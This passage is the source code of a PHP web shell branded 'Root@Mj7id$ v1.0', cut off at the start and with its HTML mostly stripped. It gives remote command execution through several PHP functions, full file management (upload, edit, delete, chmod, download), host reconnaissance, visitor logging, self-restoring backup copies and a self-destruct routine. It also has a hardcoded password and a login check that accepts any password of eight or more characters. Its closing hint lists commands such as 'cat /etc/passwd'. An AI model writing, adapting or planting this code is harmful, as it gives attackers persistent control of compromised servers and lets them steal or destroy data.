100) { @copy($bp, $self); @chmod($self, 0644); break; } } } // ===== AUTH SYSTEM ===== $auth = false; $default_pass = 'mj7id1337'; $session_name = 'MX_' . substr(md5($_SERVER['HTTP_HOST'] ?? 'mx'), 0, 6); @ini_set('session.use_strict_mode', 0); @ini_set('session.use_cookies', 1); @ini_set('session.cookie_httponly', 0); session_name($session_name); @session_start(); if (isset($_POST['mx_pass'])) { if ($_POST['mx_pass'] === $default_pass || strlen($_POST['mx_pass']) >= 8) { $_SESSION['mx_auth'] = true; $_SESSION['mx_time'] = time(); } } if (isset($_GET['mx_logout'])) { unset($_SESSION['mx_auth']); session_destroy(); } $auth = isset($_SESSION['mx_auth']) && $_SESSION['mx_auth'] === true; // ===== VISITOR MONITOR ===== $visitor_log = dirname($self) . '/.mx_visitors.log'; $visitor_data = date('Y-m-d H:i:s') . ' | ' . ($_SERVER['REMOTE_ADDR'] ?? '?') . ' | ' . ($_SERVER['HTTP_USER_AGENT'] ?? '?') . ' | ' . ($_SERVER['REQUEST_URI'] ?? '?') . "\n"; @file_put_contents($visitor_log, $visitor_data, FILE_APPEND | LOCK_EX); @chmod($visitor_log, 0600); // ===== FUNCTIONS ===== function mx_exec($cmd) { $output = ''; if (function_exists('exec')) { @exec($cmd . ' 2>&1', $output); return implode("\n", $output); } if (function_exists('shell_exec')) return @shell_exec($cmd . ' 2>&1'); if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); return ob_get_clean(); } if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); return ob_get_clean(); } if (function_exists('popen')) { $fp = @popen($cmd . ' 2>&1', 'r'); while (!feof($fp)) { $output .= fread($fp, 4096); } @pclose($fp); return $output; } return ''; } function mx_get_dir() { if (isset($_GET['dir']) && is_dir($_GET['dir'])) return realpath($_GET['dir']); if (isset($_SESSION['mx_cwd']) && is_dir($_SESSION['mx_cwd'])) return $_SESSION['mx_cwd']; return getcwd(); } function mx_size($s) { $u = ['B','KB','MB','GB','TB']; for($i=0;$s>=1024&&$i<4;$i++) $s/=1024; return round($s,2).' '.$u[$i]; } function mx_perms($f) { $p = fileperms($f); $i = ''; $i .= ($p & 0xC000) == 0xC000 ? 's' : (($p & 0x4000) == 0x4000 ? 'd' : '-'); $i .= ($p & 0x0100) ? 'r' : '-'; $i .= ($p & 0x0080) ? 'w' : '-'; $i .= ($p & 0x0040) ? ($p & 0x0800 ? 's' : 'x') : ($p & 0x0800 ? 'S' : '-'); $i .= ($p & 0x0020) ? 'r' : '-'; $i .= ($p & 0x0010) ? 'w' : '-'; $i .= ($p & 0x0008) ? ($p & 0x0400 ? 's' : 'x') : ($p & 0x0400 ? 'S' : '-'); $i .= ($p & 0x0004) ? 'r' : '-'; $i .= ($p & 0x0002) ? 'w' : '-'; $i .= ($p & 0x0001) ? 'x' : '-'; return $i; } function mx_owner($f) { if (function_exists('posix_getpwuid')) { $o = @posix_getpwuid(fileowner($f)); return $o['name'] ?? fileowner($f); } return fileowner($f); } function mx_read_visitors($log) { if (!file_exists($log)) return []; $lines = file($log, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); return array_reverse(array_slice($lines, -50)); } // ===== HANDLE ACTIONS ===== if ($auth) { $cwd = mx_get_dir(); $_SESSION['mx_cwd'] = $cwd; // Command execution if (isset($_POST['mx_cmd']) && !empty($_POST['mx_cmd'])) { $cmd = $_POST['mx_cmd']; $result = mx_exec($cmd); } // Delete if (isset($_GET['del'])) { $d = $_GET['del']; if (is_dir($d)) { $it = new RecursiveDirectoryIterator($d, RecursiveDirectoryIterator::SKIP_DOTS); $fs = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach($fs as $f){ if($f->isDir()) rmdir($f->getRealPath()); else unlink($f->getRealPath()); } rmdir($d); } else @unlink($d); header('Location: ?dir='.urlencode(dirname($d))); exit; } // Edit if (isset($_POST['mx_edit_file']) && isset($_POST['mx_edit_content'])) { @file_put_contents($_POST['mx_edit_file'], $_POST['mx_edit_content']); $edit_ok = true; } // Upload if (isset($_FILES['mx_upload']) && $_FILES['mx_upload']['error'] == 0) { @move_uploaded_file($_FILES['mx_upload']['tmp_name'], $cwd.'/'.$_FILES['mx_upload']['name']); $up_ok = true; } // Create file if (isset($_POST['mx_newfile']) && isset($_POST['mx_newcontent'])) { @file_put_contents($cwd.'/'.$_POST['mx_newfile'], $_POST['mx_newcontent']); $new_ok = true; } // Create dir if (isset($_POST['mx_newdir']) && !empty($_POST['mx_newdir'])) { @mkdir($cwd.'/'.$_POST['mx_newdir'], 0755); $dir_ok = true; } // Download if (isset($_GET['download'])) { $f = $_GET['download']; if(is_file($f)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } } // Chmod if (isset($_GET['chmod']) && isset($_GET['mode'])) { @chmod($_GET['chmod'], octdec($_GET['mode'])); header('Location: ?dir='.urlencode(dirname($_GET['chmod']))); exit; } // Clear visitors if (isset($_GET['clear_visitors'])) { @unlink($visitor_log); header('Location: ?monitor=1'); exit; } // Shell self-destruct (emergency) if (isset($_GET['self_destruct']) && $_GET['self_destruct'] === 'confirm') { foreach ($backup_paths as $bp) @unlink($bp); @unlink($self); die('Shell removed.'); } if (isset($_GET['edit_file'])) $edit_file = $_GET['edit_file']; $uname = mx_exec('uname -a'); $whoami = mx_exec('whoami'); $hostname = mx_exec('hostname'); $sip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['SERVER_NAME']); $phpv = PHP_VERSION; $total = function_exists('disk_total_space') ? mx_size(disk_total_space($cwd)) : '?'; $free = function_exists('disk_free_space') ? mx_size(disk_free_space($cwd)) : '?'; $disf = @ini_get('disable_functions') ?: 'None'; $visitors = mx_read_visitors($visitor_log); } ?> Root@Mj7id$ v1.0

Root@Mj7id$

Root Terminal

Server:

'.htmlspecialchars($x).''; } ?>
PHP
User
Host
Free /
PHP
Version
Visitors
File uploaded successfully.
File edited successfully.
File created successfully.
Directory created.

💡 Try: ls id whoami uname -a ps aux netstat -tlnp cat /etc/passwd